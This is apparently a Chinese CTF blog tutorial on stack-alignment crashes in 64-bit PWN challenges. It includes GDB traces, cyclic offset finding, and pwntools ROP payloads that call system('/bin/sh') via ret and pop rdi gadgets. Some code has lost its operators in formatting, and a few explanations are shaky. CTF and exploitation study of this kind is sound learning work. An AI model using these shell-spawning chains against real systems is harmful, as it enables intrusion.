从实战出发:详解64位PWN中payload构造的堆栈对齐陷阱与调试技巧
1. 64位PWN中的堆栈对齐陷阱现象与本质第一次接触64位PWN的师傅们肯定遇到过这种诡异情况明明payload逻辑完全正确在本地测试时却时灵时不灵。我在打newstarctf的pwn题时就踩过这个坑——相同的payload在本地跑十次可能只有三次能getshell剩下的全是段错误。后来用GDB单步跟踪才发现问题出在堆栈对齐这个隐藏机制上。现代x86-64架构的SSE指令集要求内存访问必须满足16字节对齐否则会触发通用保护异常GP。而系统库函数如system、execve内部会使用SSE指令这就导致我们的payload必须保证调用这些函数时栈指针rsp满足rsp % 16 0。举个例子假设我们构造的payload在跳转到system前栈指针是0x7fffffffe01824 mod 168此时直接调用system必然崩溃。实际调试中可以用这个技巧快速验证(gdb) b *system (gdb) r payload Breakpoint 1 hit时查看寄存器 → 0x7ffff7e31420 system movaps xmmword ptr [rsp 0x50], xmm1如果看到movaps这类指令报错基本可以确定是对齐问题。我在moectf2023的pwn题中就遇到过这种情况——去掉payload末尾的ret反而能打通就是因为原始payload误打误撞满足了对齐条件。2. 动态调试实战用GDB解剖对齐问题2.1 关键断点设置技巧以这道经典题目为例模拟newstarctf2023 pwn1checksec --filechallenge [*] /tmp/challenge Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)调试时建议在这些位置下断点主函数返回地址被覆盖的瞬间(gdb) b *vuln_func0x25 # 覆盖RIP的指令处跳转到目标函数前的指令(gdb) b *0x400567 # 通常是call system前的ret2.2 栈状态观测方法论触发崩溃时重点关注三个寄存器RSP当前栈指针值用p/x $rsp查看RIP崩溃时的指令地址RAX函数调用前的参数准备情况这是我调试某题时的真实记录Breakpoint 2, 0x000000000040078a in ?? () → 0x40078a __libc_csu_init90 ret 0x40078b nop RSP: 0x7fffffffdfc8 → 0x7ffff7e31420 (system) RIP: 0x40078a → ret执行ni后观察崩溃点Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7e31424 in system () from /lib/x86_64-linux-gnu/libc.so.6 → 0x7ffff7e31424 system4 movaps XMMWORD PTR [rsp0x50], xmm1 RSP: 0x7fffffffdfc8 → 0x7ffff7e31420 (system)此时rsp0x...fc8末尾是8明显违反16字节对齐规则。3. 四步解决对齐问题从理论到实践3.1 计算payload总长度先确定覆盖RIP前的填充长度。假设有payload bA*offset p64(pop_rdi) p64(bin_sh) p64(system)用cyclic生成测试字符串$ cyclic 200 | ./challenge $ dmesg | grep -oP ffff\.\K[a-f0-9] 6161616161616168 # 小端序换算为cyclic偏移得到offset40字节。3.2 检查当前对齐状态在gdb中运行到第一个ret指令时(gdb) p/x $rsp % 16 $1 0x8 # 需要再增加8字节对齐3.3 选择合适的对齐方案方案一添加ret指令ret_addr 0x40053e # ROPgadget找到的ret payload bA*40 p64(ret_addr) p64(pop_rdi) p64(bin_sh) p64(system)方案二调整填充长度payload bA*32 p64(pop_rdi) p64(bin_sh) p64(system) # 328(pop_rdi)8(bin_sh)4816的倍数3.4 验证对齐效果重新调试观察system入口处的rsp值→ 0x7ffff7e31420 system movaps xmmword ptr [rsp 0x50], xmm1 RSP: 0x7fffffffdff0 → 0x401234 → 0x89485ed18949ed31 (gdb) p/x $rsp % 16 $2 0x0 # 成功对齐4. 进阶技巧应对特殊场景的骚操作4.1 当ret方案失效时在2023年XCTF某道题中我发现添加ret反而导致失败。这是因为题目使用的glibc版本在__libc_start_main中暗藏了栈调整。此时应该用vmmap查看内存布局找.text段之外的ret指令如libc中的retROPgadget --binary libc.so.6 | grep ret$ | head -5尝试组合使用leave; ret等指令4.2 多级跳转的对齐保持当payload需要连续跳转多个函数时每个跳转点都要保持对齐。例如payload flat( bA*40, ret_addr, pop_rdi, bin_sh, pop_rsi_r15, arg2, 0, ret_addr, # 保持system调用前对齐 system )4.3 动态检测脚本这是我常用的自动化检测脚本from pwn import * context.log_level debug def check_alignment(io): io.sendlineafter(b , b%p %p %p) leak io.recvline().split() stack_addr int(leak[1], 16) return stack_addr % 16 8 # 是否需要对齐 if check_alignment(io): payload bA*40 p64(ret) rop.chain() else: payload bA*40 rop.chain()5. 32位与64位payload构造的本质差异5.1 调用约定的根本区别32位采用栈传参payload p32(system) p32(0) p32(bin_sh) # 函数地址|返回地址|参数164位遵循System V ABIpayload p64(pop_rdi) p64(bin_sh) p64(system) # 参数寄存器准备|函数地址5.2 实际调试中的坑点64位不需要填充返回地址在32位调用system后需要跟p32(0)占位但64位中如果system是最后一个函数其返回值不会被使用。寄存器污染问题64位调用函数时可能破坏rdx等寄存器值。我在某次比赛中就遇到过因为rdx被意外清零导致execve失败的情况解决方案payload p64(pop_rdx_rsi) p64(0) p64(0)栈帧重建差异32位的leave指令相当于mov esp, ebp pop ebp而64位的leave还涉及rsp对齐调整这也是为什么32位程序很少遇到对齐问题。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2497068.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!